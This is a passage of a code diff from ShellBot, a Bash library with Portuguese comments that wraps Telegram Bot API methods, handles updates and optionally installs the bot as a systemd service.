upload_video_note)$ ]] || MessageError API "$_ERR_ACTION_MODE_" "$param" "$value";; + esac + + return 0 +} + +FlushOffset() +{ + local first_id last_id cod end jq_obj + + # Sem erro + cod=0 + update_id=0 + + while [[ $update_id ]] + do + # Lê as atualizações do offset atual. É possível listar no máximo 100 objetos por offset. + if jq_obj=$(ShellBot.getUpdates --limit 100 --offset $(ShellBot.OffsetNext)) + then + # Lê os IDs das atualizações disponíveis, salva o primeiro e último elemento da lista. + # Interrompe o laço se não houver mais atualizações. + unset update_id + update_id=($(Json '.result|.[]|.update_id' $jq_obj)) + + first_id=${first_id:-$update_id} + end=$(ShellBot.OffsetEnd) + ((end > 0)) && last_id=$end + else + # Seta o erro e finaliza o laço em caso de falha na chamada do método. + cod=1 + break + fi + done + + # Retorna '0' se não houver registro. + # Saída: 0|0 + echo "${first_id:-0}|${last_id:-0}" + + # Desativa a flag + unset _FLUSH_OFFSET_ + + # Status + return $cod +} + +CreateUnitService() +{ + local service=${1%.*}.service + local ok='\033[0;32m[OK]\033[0;m' + local fail='\033[0;31m[FALHA]\033[0;m' + + ((UID == 0)) || MessageError API "$_ERR_SERVICE_NOT_ROOT_" + + # O modo 'service' requer que o sistema de gerenciamento de processos 'systemd' + # esteja presente para que o Unit target seja linkado ao serviço. + if ! which systemd &>/dev/null; then + MessageError API "$_ERR_SERVICE_SYSTEMD_NOT_FOUND_"; fi + + + # Se o serviço existe. + test -e /lib/systemd/system/$service && \ + MessageError API "$_ERR_SERVICE_EXISTS_" "$service" + + # Gerando as configurações do target. + cat > /lib/systemd/system/$service << _eof +[Unit] +Description=$1 - (SHELLBOT) +After=network-online.target + +[Service] +User=$2 +WorkingDirectory=$PWD +ExecStart=/bin/bash $1 +ExecReload=/bin/kill -HUP \$MAINPID +ExecStop=/bin/kill -KILL \$MAINPID +KillMode=process +Restart=on-failure +RestartPreventExitStatus=255 +Type=simple + +[Install] +WantedBy=multi-user.target +_eof + + [[ $? -eq 0 ]] && { + + printf '%s foi criado com sucesso !!\n' $service + + ln -s /lib/systemd/system/$service /etc/systemd/system/$service + systemctl daemon-reload + + echo -n "Habilitando..." + systemctl enable $service &>/dev/null && echo -e $ok || \ + { echo -e $fail; MessageError API; } + + sed -i -r '/^\s*ShellBot.init\s/s/\s--?(s(ervice)?|u(ser)?\s+\w+)\b//g' "$1" + + echo -n "Iniciando..." + systemctl start $service &>/dev/null && { + + echo -e $ok + systemctl status $service + echo -e "\nUso: sudo systemctl {start|stop|restart|reload|status} $service" + + } || echo -e $fail + + } || MessageError API + + exit 0 +} + +# Inicializa o bot, definindo sua API e _TOKEN_. +ShellBot.init() +{ + # Verifica se o bot já foi inicializado. + [[ $_SHELLBOT_INIT_ ]] && MessageError API "$_ERR_BOT_ALREADY_INIT_" + + local enable_service user_unit _jq_bot_info + + local param=$(getopt --name "$FUNCNAME" \ + --options 't:mfsu:' \ + --longoptions 'token:, + monitor, + flush, + service, + user:' \ + -- "$@") + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -t|--token) + CheckArgType token "$1" "$2" + declare -gr _TOKEN_="$2" # TOKEN + declare -gr _API_TELEGRAM_="https://api.telegram.org/bot$_TOKEN_" # API + shift 2 + ;; + -m|--monitor) + # Ativa modo monitor + declare -gr _BOT_MONITOR_=1 + shift + ;; + -f|--flush) + # Define a FLAG flush para o método 'ShellBot.getUpdates'. Se ativada, faz com que + # o método obtenha somente as atualizações disponíveis, ignorando a extração dos + # objetos JSON e a inicialização das variáveis. + declare -x _FLUSH_OFFSET_=1 + shift + ;; + -s|--service) + enable_service=1 + shift + ;; + -u|--user) + if ! id "$2" &>/dev/null; then + MessageError API "$_ERR_SERVICE_USER_NOT_FOUND_" "[-u, --user]" "$2"; fi + + user_unit="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + # Parâmetro obrigatório. + [[ $_TOKEN_ ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-t, --token]" + [[ $user_unit && ! $enable_service ]] && MessageError API "$_ERR_PARAM_REQUIRED_" "[-s, --service]" + [[ $enable_service ]] && CreateUnitService "$_BOT_SCRIPT_" "${user_unit:-$USER}" + + # Um método simples para testar o token de autenticação do seu bot. + # Não requer parâmetros. Retorna informações básicas sobre o bot em forma de um objeto Usuário. + + ShellBot.getMe() + { + # Chama o método getMe passando o endereço da API, seguido do nome do método. + local jq_obj=$(curl $_CURL_OPT_ GET $_API_TELEGRAM_/${FUNCNAME#*.}) + + _jq_bot_info=$jq_obj + + # Verifica o status de retorno do método + JsonStatus $jq_obj && { + # Retorna as informações armazenadas em "result". + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + return $? + } + + ShellBot.getMe &>/dev/null || MessageError API "$_ERR_TOKEN_UNAUTHORIZED_" '[-t, --token]' + + # Salva as informações do bot. + _BOT_INFO_[0]=$_TOKEN_ + _BOT_INFO_[1]=$(Json '.result.id' $_jq_bot_info) + _BOT_INFO_[2]=$(Json '.result.first_name' $_jq_bot_info) + _BOT_INFO_[3]=$(Json '.result.username' $_jq_bot_info) + + # Bot inicializado + declare -gr _BOT_INFO_ + declare -gr _SHELLBOT_INIT_=1 + + # SHELLBOT (FUNÇÕES) + # Inicializa as funções para chamadas aos métodos da API do telegram. + ShellBot.ListUpdates(){ echo ${!update_id[@]}; } + ShellBot.TotalUpdates(){ echo ${#update_id[@]}; } + ShellBot.OffsetEnd(){ local -i offset=${update_id[@]: -1}; echo $offset; } + ShellBot.OffsetNext(){ echo $(($(ShellBot.OffsetEnd)+1)); } + + ShellBot.token() { echo "${_BOT_INFO_[0]}"; } + ShellBot.id() { echo "${_BOT_INFO_[1]}"; } + ShellBot.first_name() { echo "${_BOT_INFO_[2]}"; } + ShellBot.username() { echo "${_BOT_INFO_[3]}"; } + + ShellBot.regHandleFunction() + { + local function callback_data handle args + + local param=$(getopt --name "$FUNCNAME" \ + --options 'f:a:d:' \ + --longoptions 'function:, + args:, + callback_data:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -f|--function) + # Verifica se a função especificada existe. + if ! declare -fp $2 &>/dev/null; then + MessageError API "$_ERR_FUNCTION_NOT_FOUND_" "$1" "$2" + return 1 + fi + function="$2" + shift 2 + ;; + -a|--args) + args="$2" + shift 2 + ;; + -d|--callback_data) + callback_data="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $function ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-f, --function]" + [[ $callback_data ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-d, --callback_data]" + + # Testa se o indentificador armazenado em handle já existe. Caso já exista, repete + # o procedimento até que um handle válido seja gerado; Evitando sobreescrever handle's existentes. + until ! declare -fp $handle &>/dev/null; do + handle=$(mktemp --dry-run HandleID:XXXXXXXXXXXXXXX) + done + + # Cria a função com o nome gerado e adiciona a chamada com os argumentos especificados. + # Anexa o novo handle a lista no índice associativo definindo em callback_data + function="$handle(){ $function $args; }" + eval "$function" + + declare -Ag _reg_func_handle_list_ + _reg_func_handle_list_[$callback_data]+="$handle " + + return 0 + } + + ShellBot.watchHandle() + { + local callback_data func_handle \ + param=$(getopt --name "$FUNCNAME" \ + --options 'd' \ + --longoptions 'callback_data' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -d|--callback_data) + shift 2 + callback_data="$1" + ;; + *) + shift + break + ;; + esac + done + + # O parâmetro callback_data é parcial, ou seja, Se o handle for válido, os elementos + # serão listados. Caso contrário a função é finalizada. + [[ $callback_data ]] || return 1 + + # Lista todos os handles no índice callback_data e executa-os + # consecutivamente. A ordem de execução das funções é determinada + # pela ordem de declaração. + for func_handle in ${_reg_func_handle_list_[$callback_data]}; do + $func_handle; done # executa + + # retorno + return 0 + } + + ShellBot.getWebhookInfo() + { + # Variável local + local jq_obj + + # Chama o método getMe passando o endereço da API, seguido do nome do método. + jq_obj=$(curl $_CURL_OPT_ GET $_API_TELEGRAM_/${FUNCNAME#*.}) + + # Verifica o status de retorno do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + return $? + } + + ShellBot.deleteWebhook() + { + # Variável local + local jq_obj + + # Chama o método getMe passando o endereço da API, seguido do nome do método. + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.}) + + # Verifica o status de retorno do método + JsonStatus $jq_obj || MessageError TG $jq_obj + + return $? + } + + ShellBot.setWebhook() + { + local url certificate max_connections allowed_updates jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'u:c:m:a:' \ + --longoptions 'url:, + certificate:, + max_connections:, + allowed_updates:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -u|--url) + url="$2" + shift 2 + ;; + -c|--certificate) + CheckArgType file "$1" "$2" + certificate="$2" + shift 2 + ;; + -m|--max_connections) + CheckArgType int "$1" "$2" + max_connections="$2" + shift 2 + ;; + -a|--allowed_updates) + allowed_updates="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $url ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-u, --url]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${url:+-d url="$url"} \ + ${certificate:+-d certificate="$certificate"} \ + ${max_connections:+-d max_connections="$max_connections"} \ + ${allowed_updates:+-d allowed_updates="$allowed_updates"}) + + # Testa o retorno do método. + JsonStatus $jq_obj || MessageError TG $jq_obj + + # Status + return $? + } + + ShellBot.setChatPhoto() + { + local chat_id photo jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:p:' \ + --longoptions 'chat_id:,photo:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -p|--photo) + CheckArgType file "$1" "$2" + photo="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $photo ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-p, --photo]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-F chat_id="$chat_id"} \ + ${photo:+-F photo="$photo"}) + + JsonStatus $jq_obj || MessageError TG $jq_obj + + # Status + return $? + } + + ShellBot.deleteChatPhoto() + { + local chat_id jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:' \ + --longoptions 'chat_id:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"}) + + JsonStatus $jq_obj || MessageError TG $jq_obj + + # Status + return $? + + } + + ShellBot.setChatTitle() + { + + local chat_id title jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:t:' \ + --longoptions 'chat_id:,title:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -t|--title) + title="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $title ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-t, --title]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${title:+-d title="$title"}) + + JsonStatus $jq_obj || MessageError TG $jq_obj + + # Status + return $? + } + + + ShellBot.setChatDescription() + { + + local chat_id description jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:d:' \ + --longoptions 'chat_id:,description:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -d|--description) + description="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $description ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-d, --description]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${description:+-d description="$description"}) + + JsonStatus $jq_obj || MessageError TG $jq_obj + + # Status + return $? + } + + ShellBot.pinChatMessage() + { + + local chat_id message_id disable_notification jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:m:n:' \ + --longoptions 'chat_id:, + message_id:, + disable_notification:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -m|--message_id) + CheckArgType int "$1" "$2" + message_id="$2" + shift 2 + ;; + -n|--disable_notification) + CheckArgType bool "$1" "$2" + disable_notification="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $message_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-m, --message_id]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${message_id:+-d message_id="$message_id"} \ + ${disable_notification:+-d disable_notification="$disable_notification"}) + + JsonStatus $jq_obj || MessageError TG $jq_obj + + # Status + return $? + } + + ShellBot.unpinChatMessage() + { + local chat_id jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:' \ + --longoptions 'chat_id:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"}) + + JsonStatus $jq_obj || MessageError TG $jq_obj + + # Status + return $? + } + + ShellBot.restrictChatMember() + { + local chat_id user_id until_date can_send_messages \ + can_send_media_messages can_send_other_messages \ + can_add_web_page_previews jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:u:d:s:m:o:w:' \ + --longoptions 'chat_id:, + user_id:, + until_date:, + can_send_messages:, + can_send_media_messages:, + can_send_other_messages:, + can_add_web_page_previews:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -u|--user_id) + CheckArgType int "$1" "$2" + user_id="$2" + shift 2 + ;; + -d|--until_date) + CheckArgType int "$1" "$2" + until_date="$2" + shift 2 + ;; + -s|--can_send_messages) + CheckArgType bool "$1" "$2" + can_send_messages="$2" + shift 2 + ;; + -m|--can_send_media_messages) + CheckArgType bool "$1" "$2" + can_send_media_messages="$2" + shift 2 + ;; + -o|--can_send_other_messages) + CheckArgType bool "$1" "$2" + can_send_other_messages="$2" + shift 2 + ;; + -w|--can_add_web_page_previews) + CheckArgType bool "$1" "$2" + can_add_web_page_previews="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $user_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --user_id]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${user_id:+-d user_id="$user_id"} \ + ${until_date_:+-d until_date="$until_date"} \ + ${can_send_messages:+-d can_send_messages="$can_send_messages"} \ + ${can_send_media_messages:+-d can_send_media_messages="$can_send_media_messages"} \ + ${can_send_other_messages:+-d can_send_other_messages="$can_send_other_messages"} \ + ${can_add_web_page_previews:+-d can_add_web_page_previews="$can_add_web_page_previews"}) + + JsonStatus $jq_obj || MessageError TG $jq_obj + + # Status + return $? + + } + + + ShellBot.promoteChatMember() + { + local chat_id user_id can_change_info can_post_messages \ + can_edit_messages can_delete_messages can_invite_users \ + can_restrict_members can_pin_messages can_promote_members \ + jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:u:i:p:e:d:v:r:f:m:' \ + --longoptions 'chat_id:, + user_id:, + can_change_info:, + can_post_messages:, + can_edit_messages:, + can_delete_messages:, + can_invite_users:, + can_restrict_members:, + can_pin_messages:, + can_promote_members:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -u|--user_id) + CheckArgType int "$1" "$2" + user_id="$2" + shift 2 + ;; + -i|--can_change_info) + CheckArgType bool "$1" "$2" + can_change_info="$2" + shift 2 + ;; + -p|--can_post_messages) + CheckArgType bool "$1" "$2" + can_post_messages="$2" + shift 2 + ;; + -e|--can_edit_messages) + CheckArgType bool "$1" "$2" + can_edit_messages="$2" + shift 2 + ;; + -d|--can_delete_messages) + CheckArgType bool "$1" "$2" + can_delete_messages="$2" + shift 2 + ;; + -v|--can_invite_users) + CheckArgType bool "$1" "$2" + can_invite_users="$2" + shift 2 + ;; + -r|--can_restrict_members) + CheckArgType bool "$1" "$2" + can_restrict_members="$2" + shift 2 + ;; + -f|--can_pin_messages) + CheckArgType bool "$1" "$2" + can_pin_messages="$2" + shift 2 + ;; + -m|--can_promote_members) + CheckArgType bool "$1" "$2" + can_promote_members="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $user_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --user_id]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${user_id:+-d user_id="$user_id"} \ + ${can_change_info:+-d can_change_info="$can_change_info"} \ + ${can_post_messages:+-d can_post_messages="$can_post_messages"} \ + ${can_edit_messages:+-d can_edit_messages="$can_edit_messages"} \ + ${can_delete_messages:+-d can_delete_messages="$can_delete_messages"} \ + ${can_invite_users:+-d can_invite_users="$can_invite_users"} \ + ${can_restrict_members:+-d can_restrict_members="$can_restrict_members"} \ + ${can_pin_messages:+-d can_pin_messages="$can_pin_messages"} \ + ${can_promote_members:+-d can_promote_members="$can_promote_members"}) + + JsonStatus $jq_obj || MessageError TG $jq_obj + + # Status + return $? + } + + ShellBot.exportChatInviteLink() + { + local chat_id jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:' \ + --longoptions 'chat_id:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + + jq_obj=$(curl $_CURL_OPT_ GET $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"}) + + # Testa o retorno do método. + JsonStatus $jq_obj && { + Json '.result' $jq_obj + } || MessageError TG $jq_obj + + # Status + return $? + } + + ShellBot.sendVideoNote() + { + local chat_id video_note duration length disable_notification \ + reply_to_message_id reply_markup jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:v:t:l:n:r:m:' \ + --longoptions 'chat_id:, + video_note:, + duration:, + length:, + disable_notification:, + reply_to_message_id:, + reply_markup:' \ + -- "$@") + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -v|--video_note) + CheckArgType file "$1" "$2" + video_note="$2" + shift 2 + ;; + -t|--duration) + CheckArgType int "$1" "$2" + duration="$2" + shift 2 + ;; + -l|--length) + CheckArgType int "$1" "$2" + length="$2" + shift 2 + ;; + -n|--disable_notification) + CheckArgType bool "$1" "$2" + disable_notification="$2" + shift 2 + ;; + -r|--reply_to_message_id) + CheckArgType int "$1" "$2" + reply_to_message_id="$2" + shift 2 + ;; + -m|--reply_markup) + reply_markup="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $video_note ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-v, --video_note]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-F chat_id="$chat_id"} \ + ${video_note:+-F video_note="$video_note"} \ + ${duration:+-F duration="$duration"} \ + ${length:+-F length="$length"} \ + ${disable_notification:+-F disable_notification="$disable_notification"} \ + ${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"} \ + ${reply_markup:+-F reply_markup="$reply_markup"}) + + # Testa o retorno do método. + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + # Status + return $? + } + + + ShellBot.InlineKeyboardButton() + { + local __button __line __text __url __callback_data \ + __switch_inline_query __switch_inline_query_current_chat \ + __delm + + local __param=$(getopt --name "$FUNCNAME" \ + --options 'b:l:t:u:c:q:s:' \ + --longoptions 'button:, + line:, + text:, + url:, + callback_data:, + switch_inline_query:, + switch_inline_query_chat:' \ + -- "$@") + + eval set -- "$__param" + + while : + do + case $1 in + -b|--button) + # Ponteiro que recebe o endereço de "button" com as definições + # da configuração do botão inserido. + CheckArgType var "$1" "$2" + __button="$2" + shift 2 + ;; + -l|--line) + CheckArgType int "$1" "$2" + __line="$2" + shift 2 + ;; + -t|--text) + __text="$2" + shift 2 + ;; + -u|--url) + __url="$2" + shift 2 + ;; + -c|--callback_data) + __callback_data="$2" + shift 2 + ;; + -q|--switch_inline_query) + __switch_inline_query="$2" + shift 2 + ;; + -s|--switch_inline_query_current_chat) + __switch_inline_query_current_chat="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $__button ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-b, --button]" + [[ $__text ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-t, --text]" + [[ $__callback_data ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --callback_data]" + [[ $__line ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-l, --line]" + + # Inicializa a variável armazenada em button, definindo seu + # escopo como global, tornando-a visível em todo o projeto (source) + # O ponteiro button recebe o endereço do botão armazenado. + declare -n __button # Ponteiro + + # Abre o array para receber o novo objeto + __button[$__line]="${__button[$__line]#[}" + __button[$__line]="${__button[$__line]%]}" + + # Verifica se já existe um botão na linha especificada. + [[ ${__button[$__line]} ]] && __delm=',' + + # Salva as configurações do botão. + # + # Obrigatório: text, callback_data + # Opcional: url, switch_inline_query, switch_inline_query_current_chat + __button[$__line]+="$__delm{ + \"text\":\"$__text\", + \"callback_data\":\"$__callback_data\" + ${__url:+,\"url\":\"$__url\"} + ${__switch_inline_query:+,\"switch_inline_query\":\"$__switch_inline_query\"} + ${__switch_inline_query_current_chat:+,\"switch_inline_query_current_chat\":\"$__switch_inline_query_current_chat\"} + }" || return 1 # Erro ao salvar o botão. + + # Fecha o array + __button[$__line]="${__button[$__line]/#/[}" + __button[$__line]="${__button[$__line]/%/]}" + + # retorno + return 0 + } + + ShellBot.InlineKeyboardMarkup() + { + local __button __keyboard + + local __param=$(getopt --name "$FUNCNAME" \ + --options 'b:' \ + --longoptions 'button:' \ + -- "$@") + + eval set -- "$__param" + + while : + do + case $1 in + -b|--button) + # Ponteiro que recebe o endereço da variável "teclado" com as definições + # de configuração do botão inserido. + CheckArgType var "$1" "$2" + __button="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $__button ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-b, --button]" + + # Ponteiro + declare -n __button + + # Salva todos elementos do array do teclado, convertendo-o em uma variável de índice 0. + # Cria-se uma estrutura do tipo 'inline_keyboard' e anexa os botões e fecha a estrutura. + # O ponteiro matriz é limpo para receber a nova estrutura contendo o layout do objeto. + # O tipo 'inline_keyboard' é definido, adicionando os botões separando-os pelo delimitador + # ',' vírgula. A posição dos botões é determinada pelo índice da linha na inicilização. + # + # Exemplo: + # + # Linha array + # + # 1 [inline_botao1] [inline_botao2] [inline_botao3] + # 2 [inline_botao4] [inline_botao5] + # 3 [inline_botao7] + + __keyboard="${__button[@]}" || return 1 + + # Cria estrutura do teclado + __keyboard="${__keyboard/#/{\"inline_keyboard\":[}" + __keyboard="${__keyboard//]/],}" + __keyboard="${__keyboard%,}" + __keyboard="${__keyboard/%/]\}}" + + # Retorna a estrutura + echo $__keyboard + + # status + return 0 + } + + ShellBot.answerCallbackQuery() + { + local callback_query_id text show_alert url cache_time jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:t:s:u:e:' \ + --longoptions 'callback_query_id:, + text:, + show_alert:, + url:, + cache_time:' \ + -- "$@") + + + eval set -- "$param" + + while : + do + case $1 in + -c|--callback_query_id) + callback_query_id="$2" + shift 2 + ;; + -t|--text) + text="$2" + shift 2 + ;; + -s|--show_alert) + # boolean + CheckArgType bool "$1" "$2" + show_alert="$2" + shift 2 + ;; + -u|--url) + url="$2" + shift 2 + ;; + -e|--cache_time) + # inteiro + CheckArgType int "$1" "$2" + cache_time="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $callback_query_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --callback_query_id]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${callback_query_id:+-d callback_query_id="$callback_query_id"} \ + ${text:+-d text="$text"} \ + ${show_alert:+-d show_alert="$show_alert"} \ + ${url:+-d url="$url"} \ + ${cache_time:+-d cache_time="$cache_time"}) + + JsonStatus $jq_obj || MessageError TG $jq_obj + + return $? + } + + # Cria objeto que representa um teclado personalizado com opções de resposta + ShellBot.ReplyKeyboardMarkup() + { + # Variáveis locais + local __button __resize_keyboard __on_time_keyboard __selective + + # Lê os parâmetros da função. + local __param=$(getopt --name "$FUNCNAME" \ + --options 'b:r:t:s:' \ + --longoptions 'button:, + resize_keyboard:, + one_time_keyboard:, + selective:' \ + -- "$@") + + # Transforma os parâmetros da função em parâmetros posicionais + # + # Exemplo: + # --param1 arg1 --param2 arg2 --param3 arg3 ... + # $1 $2 $3 + eval set -- "$__param" + + # Aguarda leitura dos parâmetros + while : + do + # Lê o parâmetro da primeira posição "$1"; Se for um parâmetro válido, + # salva o valor do argumento na posição '$2' e desloca duas posições a esquerda (shift 2); Repete o processo + # até que o valor de '$1' seja igual '--' e finaliza o loop. + case $1 in + -b|--button) + CheckArgType var "$1" "$2" + __button="$2" + shift 2 + ;; + -r|--resize_keyboard) + # Tipo: boolean + CheckArgType bool "$1" "$2" + __resize_keyboard="$2" + shift 2 + ;; + -t|--one_time_keyboard) + # Tipo: boolean + CheckArgType bool "$1" "$2" + __on_time_keyboard="$2" + shift 2 + ;; + -s|--selective) + # Tipo: boolean + CheckArgType bool "$1" "$2" + __selective="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + # Imprime mensagem de erro se o parâmetro obrigatório for omitido. + [[ $__button ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-b, --button]" + + # Ponteiro + declare -n __button + + # Constroi a estrutura dos objetos + array keyboard, define os valores e salva as configurações. + # Por padrão todos os valores são 'false', até que seja definido. + cat << _EOF +{"keyboard":$__button, +"resize_keyboard":${__resize_keyboard:-false}, +"one_time_keyboard":${__on_time_keyboard:-false}, +"selective": ${__selective:-false}} +_EOF + + # status + return 0 + } + + # Envia mensagens + ShellBot.sendMessage() + { + # Variáveis locais + local chat_id text parse_mode disable_web_page_preview + local disable_notification reply_to_message_id reply_markup jq_obj + + # Lê os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:t:p:w:n:r:k:' \ + --longoptions 'chat_id:, + text:, + parse_mode:, + disable_web_page_preview:, + disable_notification:, + reply_to_message_id:, + reply_markup:' \ + -- "$@") + + # Define os parâmetros posicionais + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -t|--text) + text="$2" + shift 2 + ;; + -p|--parse_mode) + # Tipo: "markdown" ou "html" + CheckArgType parsemode "$1" "$2" + parse_mode="$2" + shift 2 + ;; + -w|--disable_web_page_preview) + # Tipo: boolean + CheckArgType bool "$1" "$2" + disable_web_page_preview="$2" + shift 2 + ;; + -n|--disable_notification) + # Tipo: boolean + CheckArgType bool "$1" "$2" + disable_notification="$2" + shift 2 + ;; + -r|--reply_to_message_id) + # Tipo: inteiro + CheckArgType int "$1" "$2" + reply_to_message_id="$2" + shift 2 + ;; + -k|--reply_markup) + reply_markup="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + # Parâmetros obrigatórios. + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $text ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-t, --text]" + + # Chama o método da API, utilizando o comando request especificado; Os parâmetros + # e valores são passados no form e lidos pelo método. O retorno do método é redirecionado para o arquivo 'update.Json'. + # Variáveis com valores nulos são ignoradas e consequentemente os respectivos parâmetros omitidos. + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"} \ + ${text:+-d text="$text"} \ + 